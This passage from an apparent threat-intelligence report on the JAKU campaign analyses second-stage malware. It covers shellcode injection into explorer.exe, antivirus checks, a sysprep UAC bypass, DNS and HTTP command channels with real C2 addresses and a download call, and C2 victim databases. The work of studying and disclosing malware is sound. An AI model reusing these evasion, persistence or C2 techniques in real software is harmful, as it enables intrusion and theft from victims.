    // swap some bytes
    tmp = state[g];
    state[g] = state[j];
    state[j] = tmp;

    // obtain xor index in state array
    xorIndex = (state[j] + state[g]) & 255;

    // perform the xor on the current index of the buffer
    buf[i] ^= state[xorIndex];
}

return TRUE;

return FALSE;

Bad Crypto. The only significant difference to a standard rc4 routine here is the addition of the “for loop” that is (presumably) meant to randomize the permutations in state[2] with the values from the modulation key. However, it seems that the author made a mistake: instead of each permutation, only the 3rd value in the array is ever modified. Modifying this one byte is still enough to result in a significantly different cipher. Fortunately, with this knowledge, it is trivial to crack the RC4 cipher without knowing the key. This is because it is possible to brute force the 3rd element of the state array, in the knowledge that it can only have 256 possible values.

Compression Algorithm. The malware uses the LZ Huffman compression algorithm (lzhuf). Using an open source library such as Mike Smiley’s LZH implementation allowed us to successfully extract the 2nd stage malware from the fake PNGs being decrypted.
MALWARE STAGE 2 – R2D3

R2D3 is a second stage (fake PNG) malware that employs stealth tactics and AV avoidance. Its primary purpose appears to be to await an encrypted third stage component to execute.

**Stealth Injection.** This second stage malware injects shellcode into a new explorer.exe process every time it wishes to do something significant, such as network traffic, registry, and file execution operations. This is a stealth tactic to bypass firewalls and AV by creating a new explorer.exe process and injecting shellcode into the entry point and then terminating the explorer.exe process in the shellcode immediately afterwards.

**AV Engine Detection.** The malware checks whether Bitdefender is installed by checking for the mutex "BDAgent-oneinstance-mutex" via the CreateMutexA API. It then checks if AVG is installed by looking for an event named "AVG(53036606-6F17-41a9-80DD-AB930D6BA4DD)" via the CreateEventA API. If either of these exists, the malware will terminate execution.

**Service Installation.** So long as AVG and Bitdefender are not detected, the malware will copy itself to %COMMONPROGRAMFILES%\CompSvc.exe. It also creates the file %COMMONPROGRAMFILES%\SvcStart.exe, which is embedded within the malware. It then injects shellcode into a new explorer.exe in order to execute SvcStart.exe with the following command line:

```
SvcStart.exe R2D2 C:\Documents and Settings\user\Local Settings\Temp\filename.ext
```

Where "C:\Documents and Settings\user\Local Settings\Temp\filename.ext" is the location of the original malware file.

Analysis indicates that there are two command line prefixes:

**R2D2:** Terminates the currently running malware, deletes it from hard-disk and then executes the newly copied version in the common program files directory.

**R2D3:** Does not require a directory to be given in the command line string and results in SvcStart.exe dropping a batch file named exp.bat in the %TEMP% directory, which simply cleans up all of the malware as below:

```
:REPEAT
DEL %1
IF EXIST %1 GOTO REPEAT
DEL %2
```
The R2D2 command line is the only one seen used during live analysis, whereas R2D3 appears to be a cleanup function. When the R2D2 command line is used, SvcStart.exe executes the newly created CompSvc.exe, which will check if it is running from the common program files directory. If this is the case, it will inject shellcode into a new explorer.exe in order to install a persistence key via the Microsoft Active Setup registry key location with a custom GUID:

```
.data:0044B114 pRegistryShellCode:                     ; DATA XREF: sub_41BA5C+5Bo
.data:0044B114 push ebp             
data:0044B115 mov ebp, esp         
data:0044B117 sub esp, 314h        
data:0044B11D push esi            
data:0044B11E xor ebx, ebx        
data:0044B120 cmp [ebp-8], ebx     
data:0044B123 push esi            
data:0044B124 mov esi, 12345678h   
data:0044B129 je short loc_44B130  
data:0044B12D push ebx            
data:0044B130 mov esi, 87654321h
```

```
.loc_44B130:                             ; CODE XREF: .data:0044B129j
.data:0044B130 push edi             
data:0044B131 push 40h              
data:0044B133 pop ecx              
data:0044B134 xor eax, eax         
data:0044B136 lea edi, [ebp-100h]   
data:0044B13C mov [ebp-100h], bl
```

```
.data:0044B142 rep stosd            
data:0044B144 stosw
```

```
.data:0044B147 push 40h              
data:0044B149 xor eax, eax         
data:0044B14B pop ecx              
data:0044B14C lea edi, [ebp-200h]   
data:0044B152 mov [ebp-200h], bl
```

```
.data:0044B155 push 40h              
data:0044B15A rep stosd            
data:0044B15C stosw
```

```
.data:0044B167 push 8003h            
data:0044B172 mov [ebp-4], ebx
```

```
data:0044B17A call dword ptr [esi+2Ch]; kernel32.SetErrorMode
```

```
data:0044B184 push eax
```

```
data:0044B185 call dword ptr [esi+20h]; GetProcAddress("ntdll.dll")
```

```
data:0044B188 mov edi, eax          
data:0044B18A lea edi, [esi+354h]   
data:0044B190 push eax              
data:0044B191 push edi              
data:0044B192 call dword ptr [esi+24h]; GetProcAddress("strlen")
```

```
data:0044B195 mov [ebp-8], eax
```

```
data:0044B198 lea eax, [esi+574h]   
data:0044B199 push eax              
data:0044B19F push edi              
data:0044B1AF call dword ptr [esi+24h]; GetProcAddress("strcpy")
```

```
data:0044B1A3 mov edi, eax          
data:0044B1A5 lea eax, [esi+34h]   
data:0044B1A8 push eax              
data:0044B1AD lea eax, [ebp-10Ch]   
data:0044B1AF push eax              
data:0044B1B0 call edi              ; ntdllstrcpy
```

```
data:0044B1B8 lea eax, [esi+138h]   
data:0044B1B9 push eax              
data:0044B1BF lea eax, [ebp-210h]   
data:0044B1C0 call edi              ; ntdllstrcpy
```

```
data:0044B1C9 lea eax, [esi+23Ch]   
data:0044B1CF lea eax, [ebp-314h]   
data:0044B1D1 push eax              
data:0044B1D2 call edi              ; ntdllstrcpy
```

```
data:0044B1D5 cmp dword ptr [esi+340h], 1
```

```
data:0044B1DF pop edi              
data:0044B1ED push eax
```
Winpcap. After the shellcode is injected, the malware will load the winpcap npf.sys driver if it exists. It then begins to monitor all network adapters in order to determine which interface is the primary adapter that can access the internet. Then, it makes a POST request to the C2 server with gzip compressed system information:

**POST http://101.99.68.5/bbs/CaC.php HTTP/1.1**
**Content-Type: multipart/form-data; boundary=--HC-MPFD-BOUNDARY**
**Content-Length: 320**

User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Host: 101.99.68.5
Proxy-Connection: Keep-Alive
Pragma: no-cache

---HC-MPFD-BOUNDARY
**Content-Disposition: form-data; name="id"**
AAwp2ySc
---HC-MPFD-BOUNDARY
**Content-Disposition: form-data; name="userfile"; filename="AAwp2ySc.ifo"**
**Content-Type: application/octet-stream**

The "id" value "AAwp2ySc" is a base64 encoded version of the MAC address's hexadecimal values for the adapter that is determined to be the primary one, which in this instance was “00 0c 29 db 24 9c”. The gzip compressed data, in plaintext looks like this example:

**CNAME: MICROSOFT**
**OSVER: 513112**
**IP: -2132891456**
**DNAME: None**

Next, the malware injects shellcode into explorer.exe to contact its C2 with a GET request, which seems to expect another encrypted malware to be returned. The following shows parts of the shellcode (dumped from Ollydbg), which shows this C2 server communication. The comments indicate what the values of certain registers and addresses are in real time. Again, the MAC address identifier can be seen in the following network traffic shellcode:

```
0101A63E            8D6E 1C                     LEA EBP,DWORD PTR DS:[ESI+0x1C]           ; http://101.99.68.5/bbs/CaC.php?id=AAwp2ySc
... 
0101A678            8D86 0C                     LEA EAX,DWORD PTR DS:[ESI+0x570]          ; URLDownloadToFileA
0101A66D            50                          PUSH EAX
0101A66E            53                          PUSH EBX                                  ; HMODULE = urlmon.dll
0101A66F            FF56 08                     CALL DWORD PTR DS:[ESI+0x8]               ; kernel32.GetProcAddress
0101A672            8BD8                        MOV EBX,EAX
0101A674            85DB                        TEST EBX,EBX
0101A676            75 05                       JNZ SHORT explorer.0101A67D
0101A678            6A 64                       PUSH 0x64
0101A679            FF56 0C                     CALL DWORD PTR DS:[ESI+0x4A8]               ; kernel32.ExitProcess
0101A67A            8D86 6C040000               LEA EAX,DWORD PTR DS:[ESI+0x46C]               ; C:\DOCUMENTS\USER\LOCALS-1\Temp\tmp2F.tmp
0101A67D            6A 00                       PUSH 0x0
0101A680            6A 00                       PUSH 0x0
0101A682            6A 00                       PUSH 0x0
0101A683            6A 00                       PUSH 0x0
0101A684            6A 00                       PUSH 0x0
0101A685            6A 00                       PUSH 0x0
0101A686            6A 00                       PUSH 0x0
0101A687            6A 00                       PUSH 0x0
0101A688            6A 00                       PUSH 0x0
0101A689            6A 00                       PUSH 0x0
0101A68A            FF03                        CALL EAX
...```
The code continues on to delete a Zone.Identifier ADS for msvcrt.dll (msvcrt.dll:Zone.Identifier). The purpose of this part of the code is unclear, because msvcrt.dll does not seem to be overwritten by the malware and should not contain a Zone.Identifier record that prevents its usage in any way.

**Malware Configuration.** The malware also contains a configuration of sorts. Some of the parts include:

```
S[32]:inner_UniqID=4C2830A17D224f20A23901BD61DDE4
B:inner_Escl=1
S[260]Exe Location=C:\Program Files\Common Files\Services\CompSvc.exe
```

Each field is preceded by the length and type of the value associated with it. For example: S[32] means that the value contains a string of 32 characters.

- The inner_UniqID value seems to be a static value, probably used as a campaign identifier.
- The inner_Escl value is a Boolean, indicating whether escalated permissions are available. If not, then the malware drops a DLL payload into the Windows sysprep folder under the name cryptbase.dll. It then launches sysprep.exe, which will run with administrative permissions and load up cryptbase.dll from the current folder rather than the system folder. This technique is a commonly used means of bypassing Windows User Account Control (UAC).
- The Exe Location value is the current location of the malware.
MALWARE STAGE 2 – C3PRO-RACCOON

C3PRO-RACCOON is another one of the second stage components (fake PNG) that is hosted on a C2 server with the small amount of targeted victims. This C2 data set is suspected of being a targeted set of victims and is referred to within the JAKU analysis as RACCOON.

The C3PRO-RACCOON malware initially communicates with a specific C2 server over DNS. Kaspersky have already blogged about this same malware family when it was hosted on the KCNA North Korean news site in early 2015:

SHA1: c28bdea5e823cbca16d2188f29a338ff0379

**C3PRO-RACCOON Behaviour.** This malware sample is another self-extractor, which drops the usual start.bat and end.bat files along with the Trojan component and a utility to add a new Windows task:

```
start.bat
end.bat
drmanidd32.dll (C3PRO-RACCOON trojan)
SetTaskPathDl.exe (C# utility to add a new Windows task)
Microsoft.Win32.TaskScheduler.dll (legitimate file used by SetTaskPathDl.exe for task scheduler stuff)
```

The file start.bat is executed which results in SetTaskPathDl.exe being invoked with the following arguments:

```
%temp%\SetTaskPathDl.exe drmanidd32.dll Adobe Update SecuUpdates.dll
```

This results in drmanidd32.dll being moved to `%appdata%\Adobe\Update\SecuUpdates.dll` and a Windows task created to execute the following command upon user logon:

```
C:\WINDOWS\system32\rundll32.exe %appdata%\Adobe\Update\SecuUpdates.dll, start now
```

Once executed, SecuUpdates.dll generates DNS traffic, which is the C2 channel communication:

```
192.168.222.128 192.168.222.2 DNS 77 Standard query 0x009b A dnsinfo.slyip.net
192.168.222.128 192.168.222.128 DNS 93 Standard query response 0x009b A 119.59.122.35
192.168.222.128 119.59.122.35 DNS 95 Standard query response 0x0079 CNAME drmanidd32.dll
192.168.222.128 119.59.122.35 DNS 95 Standard query response 0x0079 CNAME drmanidd32.dll
119.59.122.35 192.168.222.128 DNS 132 Standard query response 0x0079 CNAME LS4.com A 231.157.250.149
119.59.122.35 119.59.122.35 DNS 95 Standard query response 0x0079 CNAME LS4.com A 231.157.250.149
```

The malware resolves a specific C2 DNS name and uses the returned IP as a DNS server for resolving the CNAME of `pWrpqMoqqipJiiwGBgaouxuelyMaG56g.e.q`, which results in a resolution of LS4.com at IP 231.157.250.149.

The `pWrpqMoqqipJiiwGBgaouxuelyMaG56g` string is a base64 encoded, encrypted version of `"+MICROSOFT_000C29DB249C"` which is a ‘+’ followed by the current computer name, ‘_’ and then the MAC address of the primary network adapter.
Here is the encryption routine in assembly:

```
loop:
    mov al, buffer[ecx]    ; buffer contains string to encrypt (i.e. "+MICROSOFT_000C29DB249C")
    add al, 3              ; Add a value of 3 to the current 8-bit char value
    movzx eax, al          ; Clear eax, replace with lower 8-bit value
    xor eax, 3             ; XOR 32-bit value of eax (which is just 8-bit al, effectively) by 3
    mov edx, eax           ; Save eax in edx
    shr edx, 3             ; Shift edx right by 3 bits
    shl al, 5              ; Shift 8-bit eax value left by 5 bits
    or dl, al              ; OR 8-bit edx against 8-bit eax
    mov buffer[ecx], dl    ; Copy new value (stored in dl) into current index of buffer
    inc ecx                ; Increase buffer index
    cmp ecx, edi           ; Check if we're done yet
    jl short loop
```

This routine is poorly coded, as 32-bit values are not required. Alternatively, the author introduced an error in the left shift. Regardless, once corrected and optimised, the routine look like this:

```
loop:
    mov al, buffer[ecx]    ; buffer contains string to encrypt (i.e. "+MICROSOFT_000C29DB249C")
    add al, 3              ; Add a value of 3 to the current char value
    xor al, 3              ; XOR char value by 3
    mov dl, al             ; Copy char value (into dl)
    shr dl, 3              ; Shift char value right by 3 bits (truncate)
    shl al, 5              ; Shift the same char value (in al) left by 5 bits (truncate)
    or dl, al              ; OR both char values
    mov buffer[ecx], dl    ; Copy new value (stored in dl) into current index of buffer
    inc ecx                ; Increase buffer index
    cmp ecx, edi           ; Check if we're done yet
    jl short loop
```

Or the same, more complete routine in C:

```c
void encode(char *buffer)
{
    for (int i = 0; i < strlen(buffer); i++)
    {
        unsigned char a = buffer[i];
        unsigned char b;

        a += 3;
        a ^= 3;

        b = a;

        b >>= 3;
        a <<= 5;
        b |= a;

        buffer[i] = b;
    }
}
```
DNS Command Channel. The DNS requests containing the encrypted system name and MAC address happen regularly (~2 minutes), with the IP of LS4.com changing each time. The malware translates LS4.com into LS4=, base64 decodes it and then decrypts it using the reverse of the algorithm above. The result of this is the string "go", and the malware also understands the following commands:

<table>
<thead>
<tr>
<th>COMMAND</th>
<th>PURPOSE</th>
<th>NOTES</th>
</tr>
</thead>
<tbody>
<tr>
<td>go</td>
<td>This just means &quot;OK - no action to take&quot;</td>
<td>Takes 0 parameters</td>
</tr>
<tr>
<td>ti</td>
<td>Change wait/sleep time between DNS C2 attempts</td>
<td>Takes 1 parameter (sleep time in minutes)</td>
</tr>
<tr>
<td>sh</td>
<td>Not implemented by author</td>
<td>This routine does nothing and appears to be a placeholder for a future routine</td>
</tr>
<tr>
<td>fs</td>
<td>Start UDT based C2 module</td>
<td>Takes 2 parameters (port, server)</td>
</tr>
<tr>
<td>ts</td>
<td>Start secondary C2 module</td>
<td>Takes 2 parameters (port, server)</td>
</tr>
<tr>
<td>dl</td>
<td>Inject a DLL into a process via remote thread in explorer.exe</td>
<td>Takes 2 parameters (DLL filename, process name without .exe)</td>
</tr>
<tr>
<td>du</td>
<td>Unload DLL from current process via remote thread in explorer.exe</td>
<td>Takes 2 parameters (first param must be 0, second is DLL filename)</td>
</tr>
<tr>
<td>de</td>
<td>Securely delete file (write/read 4 times, rename 900 times, truncate to 0 size, then delete)</td>
<td>Takes 1 parameter (file to delete)</td>
</tr>
<tr>
<td>cm</td>
<td>Execute command-line utility (%COMSPEC%) with parameter and send results to C2 over DNS</td>
<td>Takes 1 parameter (command to execute)</td>
</tr>
<tr>
<td>cu</td>
<td>Send computer information to C2 over DNS</td>
<td>Takes 2 parameters (port - ignored, server)</td>
</tr>
<tr>
<td>ex</td>
<td>Execute command via WinExec but do not send back the results to C2 server</td>
<td>Takes 1 parameter (command to execute)</td>
</tr>
</tbody>
</table>

A "parameter" here is a part of the CNAME separated by a ".". For example, "LS4.test.com" would be the command, "go" with 1 parameter "test".

The "secondary" C2 module receives commands over TCP and a custom protocol. The data structures are defined below:

```c
// This is the client hello packet structure (actually not really a structure, just a 4 byte value)
typedef struct clienthello_s
{
    uint32 client_magic; // Must be 0xDF1B697A
} clienthello_t;

// This is the encryption key structure for packet encryption & decryption
typedef struct keyheader_s
{
    byte subkey;
    byte xorkey;
    byte rolkey;
    byte _align; // Unused, just here for alignment
} keyheader_t;

// This is the full structure for anything received from the server
typedef struct servercmd_s
{
    uint32 server_magic; // Must be 0xA37CE092
    keyheader_t hdr; // Encryption keys
```
The "UDT" C2 module receives commands over UDP and the UDT library protocol. The data structures used by the malware are similar to the ones above, but without magic values or encryption keys. Instead, the encryption keys are static. The UDT C2 module only supports a subset of the commands that the secondary C2 module does.

The command set supported by the secondary and UDT C2 modules is the same as in Kaspersky’s analysis of the KCNA malware. However, our analysis of the KCNA malware and C3PRO-RACCOON revealed some additional functionality and small differences in what Kaspersky reported.

The full list of commands used by the secondary and UDT modules can be seen in the table below:

<table>
<thead>
<tr>
<th>COMMAND</th>
<th>PURPOSE</th>
</tr>
</thead>
<tbody>
<tr>
<td>_get</td>
<td>Encrypt and send specified file</td>
</tr>
<tr>
<td>_got</td>
<td>Encrypt and send specified file and then securely delete it from disk</td>
</tr>
<tr>
<td>_cmd</td>
<td>Execute command-line utility (%COMSPEC%) with parameter and send results to C2</td>
</tr>
<tr>
<td>_exe</td>
<td>Execute parameter via WinExec API</td>
</tr>
<tr>
<td>_quit</td>
<td>Exit the C2 thread</td>
</tr>
<tr>
<td>_inf</td>
<td>Grab system information, save it to file, encrypt it, send it to C2 and then securely delete it.</td>
</tr>
<tr>
<td></td>
<td>• Operating system version</td>
</tr>
<tr>
<td></td>
<td>• Username</td>
</tr>
<tr>
<td></td>
<td>• Computer name</td>
</tr>
<tr>
<td></td>
<td>• System drive</td>
</tr>
<tr>
<td></td>
<td>• Local time</td>
</tr>
<tr>
<td></td>
<td>• All connected drives and properties</td>
</tr>
<tr>
<td></td>
<td>• Network adapter properties</td>
</tr>
<tr>
<td></td>
<td>• Disk free space</td>
</tr>
<tr>
<td></td>
<td>• All installed programs</td>
</tr>
<tr>
<td>_dll</td>
<td>Inject a DLL into a process via remote thread in explorer.exe</td>
</tr>
<tr>
<td>_put</td>
<td>Receive, decrypt, and write a buffer to disk at a specified file location</td>
</tr>
<tr>
<td>_del</td>
<td>Securely delete specified file using John Underhill's &quot;Secure File Shredder&quot; code</td>
</tr>
<tr>
<td>_dir</td>
<td>Send a directory listing for path specified</td>
</tr>
<tr>
<td>_prc</td>
<td>Send a full running process list to C2</td>
</tr>
<tr>
<td>_cap</td>
<td>Take a screenshot, save it to file, encrypt it, send it to C2 and then securely delete it</td>
</tr>
<tr>
<td>_dlu</td>
<td>Unload DLL from current process only via remote thread in explorer.exe</td>
</tr>
</tbody>
</table>
OBSERVATIONS ON C3PRO-RACCOON

The ability for malware to concurrently support three separate, custom built C2 channels is more advanced than the majority of malware currently observed in the global threat landscape. This offers insight into the amount of effort the malware author and actor(s) have expended to ensure that the malware is stealthy and can remain in contact with its C2s, despite the network environment it may be running within.

**UDT Library.** The malware uses an open source library called UDT\(^3\) for one of its C2 channels. UDT provides much of the benefits of TCP but retains higher data transfer speeds over UDP. The authors likely chose the library in order to provide the flexibility of being able to securely use UDP for C2 communication, as well as being stealthy at the same time.

**Secure Delete.** The file deletion routine has been taken from publicly available secure erasure code. This code was originally written by John Underhill and called “Secure File Shredder”\(^4\). The routine used in the malware even contains the same mistake as John Underhill made, where he renames the file 780 times \((30 \times 26)\) instead of the intended 30. The only difference is that the file truncation is only performed once in the malware, rather than 10 times, as in Underhill’s code. The purpose of this code is to prevent advanced forensics techniques from being able to recover the deleted files.

**Unfinished Code.** The ‘du’ and ‘dlu’ commands are interesting because they only support unloading a module from the current process, but by creating a remote thread in a new `explorer.exe`. This makes little sense because it would be a lot simpler and more effective to just unload the module in the current process. This is likely to be an unfinished or abandoned routine that is currently not used by the actor. The older version of this malware that Kaspersky analysed did not have any implementation for ‘dlu’, and the ‘dll’ routine did not create a new thread in an `explorer.exe` process to do this work, but instead did it from its own process.

**Spoofed File Dates.** When a file is sent to the infected machine via the “_put” command and written to disk, the file access times are modified to be the same as gdi32.dll’s from the system directory. This makes the file less suspicious and can also prevent some forensic time-lining.

**Under Development.** The older version of this malware that Kaspersky analysed was compiled using Microsoft Visual Studio 6.0, whereas this version has been compiled with Microsoft Visual Studio 10.0. The malware is clearly being actively developed and the developers’ environment(s) are being improved.

---

\(^3\) [http://udt.sourceforge.net/](http://udt.sourceforge.net/)

\(^4\) [http://www.codeproject.com/Articles/30453/Secure-File-Shredder](http://www.codeproject.com/Articles/30453/Secure-File-Shredder)
WHO IS SAPHARUS?

SAPHARUS-PC is the name of a Windows computer which appears over 1,800 times in one of the JAKU Datasets (referred to as the SAPHARUS data set for this reason). From a research point of view, this significant anomaly clearly needed investigation.

SAPHARUS Timeline. The number of entries is the database is constantly changing. While the total number of entries appears to grow, due to more victims being infected, the number of SAPHARUS entries is decreasing:

<table>
<thead>
<tr>
<th>DATE</th>
<th>VICTIM COUNT</th>
<th>SAPHARUS-PC COUNT</th>
</tr>
</thead>
<tbody>
<tr>
<td>2015-10-04</td>
<td>5765</td>
<td>1912</td>
</tr>
<tr>
<td>2015-10-26</td>
<td>5974</td>
<td>1869</td>
</tr>
<tr>
<td>2015-11-15</td>
<td>6160</td>
<td>1854</td>
</tr>
<tr>
<td>2015-12-10</td>
<td>6188</td>
<td>1831</td>
</tr>
</tbody>
</table>

The Real SAPHARUS. Within the dataset there appear one is 'real' SAPHARUS-PC (UID: D1336E59-0FB3-473B-8A43-F667E7052CF5) with a public IP address of 91.44.233.77. This is expected to be a 'real' host because of the system information is complete and is not duplicated elsewhere. Whereas, the SAPHARUS-PC duplicates all have identical system information.

Hypothesis #1 - Overwrites. Real entries were overwritten in error with the SAPHARUS data. A number of facts support this hypotheses: the fake SAPHARUS data is clearly corrupted and is missing the task list and recent files, part of which could have resulted in some sort of parsing error or when dumping it in the DB. The ASN's and IP's of these entries seem to indicate that they are real victims. However, it is impossible to prove that it wasn't done intentionally. (Likelihood: High)

Hypothesis #2 - Additions. SAPHARUS entries were added either due to an error or intentionally. This seems less likely as SAPHARUS-PC entries reuse some of the IPs already in the database. Furthermore, adding SAPHARUS entries intentionally would serve very little purpose.

There is evidence that at least one SAPHARUS-PC is bogus:

SAPHARUS at Forcepoint. One of the hosts with the name SAPHARUS-PC has an external IP address recorded in the dataset, which is in reality an IP address owned and operated by Forcepoint. During the analysis of JAKU, the Forcepoint Special Investigation team operated a honeypot machine which had an external IP address identical to the SAPHARUS-PC public IP address.

Diversity of Addresses. The SAPHARUS-PC external IP addresses are from a large and diverse number of ASNs. These IP addresses and ASNs appear to correlate with the ASNs of other victims.

Truncated System Information. SAPHARUS-PC entries have truncated system information (INFO); i.e. no task list and no recent files.

It is believed that the SAPHARUS-PC entries are duplicated information from other victim data. Why this is the case is unclear. Possibilities include programming errors in the C2 software (possible), or the use of SAPHARUS-PC as a 'flag' while administering the C2 data sets (unlikely).

For analysis purposes, the SAPHARUS-PC entries were not included in detailed analysis such as correlation of victims within and across C2 servers.
C2 TELEMETRY DATABASES

SQLite Databases. All JAKU C2 servers identified have viewable directories via the local web server. From a web browser, it is possible to view the content of a directory named /img:

<table>
<thead>
<tr>
<th>Icon</th>
<th>Name</th>
<th>Last modified</th>
<th>Size</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>[IMG]</td>
<td>near.jpg</td>
<td>09-Dec-2015 19:59</td>
<td>451M</td>
<td></td>
</tr>
</tbody>
</table>

Near.jpg. The file called near.jpg is not an image file. When examined, the file is found to be a SQLite2 format database:

$ file near.jpg
near.jpg: SQLite 2.x database

This database contains details of the malware/botnet victim hosts. It details the network information, dates and times the malware first ‘called home’, the last call-home time, the last updated time and a history of the malware beaconing to the C2 server:

$ sqlite near.jpg .schema

CREATE TABLE child (uid TEXT PRIMARY KEY, version REAL, pip TEXT, info TEXT, infouptime INTEGER, iplist TEXT, instime INTEGER, lasttime INTEGER, downfile TEXT, downver REAL);
CREATE TABLE dist2 (id INTEGER PRIMARY KEY, pubdownfile TEXT, pubdownver REAL, pubdowncnt INTEGER, pridownfile TEXT, pridownver REAL, pridowncnt INTEGER);
CREATE TABLE history (id INTEGER PRIMARY KEY, uid TEXT, ctime INTEGER);
CREATE TABLE tvdist (id INTEGER PRIMARY KEY, tvdownfile TEXT, tvdownver REAL, tvdowncnt INTEGER);
CREATE INDEX idx_instime ON child(instime);
CREATE INDEX idx_lasttime ON child(lasttime);
CREATE INDEX idx_version ON child(version);
HISTORY Table. The history table contains a list of all beacons set by the malware on the victim machine to the C2 server:

<table>
<thead>
<tr>
<th>COLUMN</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>UID</td>
<td>A unique identifier of the victim. This matches the UID in the CHILD table</td>
</tr>
<tr>
<td>CTIME</td>
<td>The data/time of a beacon made from the victim machine to the C2 server. As with all the data/times in the SQLite database, the format is in “UNIX Epoch” format.</td>
</tr>
</tbody>
</table>

Example query of HISTORY table:

```
$ sqlite -column -header near.jpg "SELECT * FROM HISTORY LIMIT 5;"
```

```
<table>
<thead>
<tr>
<th>id</th>
<th>uid</th>
<th>ctime</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>{610313D3-6359-4543-8314-64E1DF6DBF20}</td>
<td>1430186473</td>
</tr>
<tr>
<td>2</td>
<td>{610313D3-6359-4543-8314-64E1DF6DBF20}</td>
<td>1430188242</td>
</tr>
<tr>
<td>3</td>
<td>{12941DFB-6ECD-45CD-B7B2-9C0F8F16DF6F}</td>
<td>1430359648</td>
</tr>
<tr>
<td>4</td>
<td>{66CEAD40-85D9-4AA8-9B59-3DF9E079FA69}</td>
<td>1430443896</td>
</tr>
<tr>
<td>5</td>
<td>{211E31DB-C944-4C66-A91C-7C7BDF7CE5EF}</td>
<td>1430447441</td>
</tr>
</tbody>
</table>
```

```
$ sqlite -column -header near.jpg 'SELECT STRFTIME("%Y-%m-%d %H:%M:%S",CTIME,"UNIXEPOCH") AS "DATE/TIME" FROM HISTORY WHERE UID="{211E31DB-C944-4C66-A91C-7C7BDF7CE5EF}"'
```

```
DATE/TIME
-------------------
2015-05-01 02:30:41
2015-05-01 06:30:34
2015-05-01 07:04:07
2015-05-01 07:30:34
2015-05-01 08:30:35
2015-05-01 09:00:35
2015-05-01 09:30:35
2015-05-01 10:00:35
2015-05-01 10:31:55
2015-05-01 11:00:16
2015-05-01 11:30:36
2015-05-01 12:00:35
2015-05-01 12:30:34
2015-05-01 13:00:39
2015-05-01 13:30:34
2015-05-01 14:00:35
2015-05-01 14:30:34
2015-05-04 13:30:40
2015-05-04 14:00:39
2015-05-04 14:30:39
2015-05-04 15:00:38
```
CHILD Table. Analysis has shown that the table CHILD is information that relates to victim hosts:

<table>
<thead>
<tr>
<th>COLUMN</th>
<th>DESCRIPTION</th>
</tr>
</thead>
<tbody>
<tr>
<td>UID</td>
<td>A unique identifier of the victim. This allows the C2 server to track victims if and when their IP address changes.</td>
</tr>
<tr>
<td>VERSION</td>
<td>Believed to be the version of the malware on the victim machine.</td>
</tr>
<tr>
<td>PIP</td>
<td>The public IP address of the victim. This is updated as and when the victim machines external IP address changes.</td>
</tr>
<tr>
<td>INFO</td>
<td>The details gathered by the malware from the victim machine (See below).</td>
</tr>
<tr>
<td>INFOUPTIME</td>
<td>The date/time that the INFO field was updated in the database. Believed to be the date/time on the C2 server.</td>
</tr>
<tr>
<td>IPLIST</td>
<td>A list of IP addresses from all the victim machines network interfaces.</td>
</tr>
<tr>
<td>INSTIME</td>
<td>The date/time that the malware was originally installed on the victim machine.</td>
</tr>
<tr>
<td>LASTTIME</td>
<td>The date/time of the last beacon received by the C2 server from the malware on the victim machine.</td>
</tr>
<tr>
<td>DOWNFILE</td>
<td>Unknown. Never observed populated.</td>
</tr>
<tr>
<td>DOWNVER</td>
<td>Unknown. Never observed populated.</td>
</tr>
</tbody>
</table>

INFO Column Commands. The INFO column contains output from the execution of the following commands:

```bash
systeminfo
net use
net user
tasklist /svc
netstat -ano
dir "%USERPROFILE%\Recent"
dir "%APPDATA%\Microsoft\Windows\Recent"
dir /s/b "%USERPROFILE%\Favorites"
```
Example query of CHILD table:

```sql
$ sqlite -list near.jpg "SELECT * FROM CHILD WHERE UID = '{211E31DB-C944-4C66-A91C-7C7BDF7CE5EF}';"
```

<<systeminfo>>

```
Host Name: *********-PC
OS Name: Microsoft Windows 7 Ultimate
OS Version: 6.1.7600 N/A Build 7600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Workstation
OS Build Type: Multiprocessor Free
Registered Owner: ********
Registered Organization:
Product ID: 00426-292-0000007-85307
Original Install Date: 12/24/2014, 2:53:55 PM
System Boot Time: 5/1/2015, 9:00:02 AM
System Manufacturer: Hewlett-Packard
System Model: HP EliteBook 8530p
System Type: X86-based PC
Processor(s): 1 Processor(s) Installed.
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: en-us;English (United States)
Input Locale: en-us;English (United States)
Time Zone: (UTC+05:00) Islamabad, Karachi
Total Physical Memory: 1,978 MB
Available Physical Memory: 970 MB
Virtual Memory: Max Size: 3,957 MB
Virtual Memory: Available: 2,406 MB
Virtual Memory: In Use: 1,551 MB
Page File Location(s): C:\pagefile.sys
Domain: WORKGROUP
Logon Server: \*********-PC
Hotfix(s): N/A
Network Card(s): 2 NIC(s) Installed.
[01]: Intel(R) 82567LM Gigabit Network Connection
    Connection Name: Local Area Connection
    DHCP Enabled: Yes
    DHCP Server: 192.168.1.1
    IP address(es)
      [01]: 192.168.1.1
      [02]: fe80::ad52:568:3375:927b
[02]: Intel(R) WiFi Link 5300 AGN
    Connection Name: Wireless Network Connection
    Status: Media disconnected
```

<<net use>>
New connections will be remembered.
There are no entries in the list.

<<net user>>
User accounts for \*********-PC

```
-------------------------
****** Administrator     Guest
The command completed successfully.
```

<<tasklist /svc>>

```
```
<table>
<thead>
<tr>
<th>Image Name</th>
<th>PID Services</th>
</tr>
</thead>
<tbody>
<tr>
<td>System Idle Process</td>
<td>0 N/A</td>
</tr>
<tr>
<td>System</td>
<td>4 N/A</td>
</tr>
<tr>
<td>smss.exe</td>
<td>232 N/A</td>
</tr>
<tr>
<td>csrss.exe</td>
<td>324 N/A</td>
</tr>
<tr>
<td>wininit.exe</td>
<td>400 N/A</td>
</tr>
<tr>
<td>csrss.exe</td>
<td>412 N/A</td>
</tr>
<tr>
<td>winlogon.exe</td>
<td>456 N/A</td>
</tr>
<tr>
<td>services.exe</td>
<td>500 N/A</td>
</tr>
<tr>
<td>lsass.exe</td>
<td>516 KeyIso, SamSs</td>
</tr>
<tr>
<td>ls.exe</td>
<td>524 N/A</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>636 DcomLaunch, PlugPlay, Power</td>
</tr>
<tr>
<td>svchost.exe</td>
<td>708 RpcEptMapper, RpcSs</td>
</tr>
